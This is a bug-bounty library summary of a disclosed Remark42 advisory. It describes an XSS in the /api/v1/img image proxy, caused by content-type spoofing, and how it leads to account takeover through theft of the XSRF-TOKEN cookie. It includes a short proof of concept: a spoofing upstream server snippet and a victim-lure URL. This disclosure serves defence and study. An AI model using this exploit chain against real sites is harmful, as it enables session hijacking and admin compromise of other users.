# Remark42: Cross-Site Scripting (XSS) on /api/v1/img via content-type spoofing

Remark42 image proxy trusted remote Content-Type on download but sniffed bytes on serve, letting attacker HTML render as same-origin script and hijack victim sessions.

- Payout: Research
- Severity: high
- Program: Remark42
- Found by: ildkh
- Disclosed: 2026-06-26
- CVE: CVE-2026-48788
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-4c8j-mgm4-qqvp
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-4c8j-mgm4-qqvp
- Tags: area:web domain:web impact:ato impact:integrity kind:research platform:ghsa sev:high tech:go technique:parser-differential vuln:xss

**Target:** /api/v1/img image proxy endpoint
**Root cause:** Download path validated only the remote Content-Type header (image/* prefix) without inspecting bytes, while the serve path re-derived Content-Type via http.DetectContentType on those same bytes, so an HTML body served as image/png was re-emitted as text/html.
**Steps:**
1. Host an upstream URL returning `Content-Type: image/png` with an HTML/JS body (`<!DOCTYPE html><script>...</script>`).
2. Request `https://<remark42-host>/api/v1/img?src=<base64(attacker-host)>`; downloadImage() sees image/png and accepts the bytes unvalidated.
3. Handler() calls ImgContentType(), which sniffs the body to text/html and sets `Content-Type: text/html`.
4. Victim opens the proxy URL top-level; browser renders attacker HTML/JS in remark42's origin.
**How found:** Reporter noticed the asymmetry between the download-time check (header-based) and serve-time content type (byte-sniffed), a classic interpretation conflict: the two code paths disagree on what the resource is.
**Exploitation:** Attacker needs no account on the target, only a malicious upstream URL and a way to deliver the proxy link. The rendered script runs same-origin: it issues authenticated API calls with `credentials: 'include'` (JWT cookie auto-sent) and reads the `XSRF-TOKEN` cookie to resend as `X-XSRF-TOKEN`, defeating CSRF protection. Victim's account is fully controlled: delete/edit comments, change settings, and admin actions if the victim is admin.
**Escalation:** CSRF token theft via readable XSRF-TOKEN cookie turns reflected same-origin XSS into full authenticated account takeover, scaling to admin compromise when an admin visits the link.
**Insight:** When a proxy validates a resource on ingest but re-derives its type on egress, look for any mismatch between the two decisions — header trust vs. byte sniffing is a reliable XSS primitive even without SVG.

## Proof of concept (copied exactly from the original report)

**Malicious upstream server spoofing image/png with HTML body**

```
self.send_response(200)
self.send_header("Content-Type", "image/png")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)            # body = <!DOCTYPE html><script>...</script>
```

**Victim opens proxy URL top-level to trigger XSS**

```
Then have the victim open `https://<remark42-host>/api/v1/img?src=<base64(attacker-host)>` top-level.
```

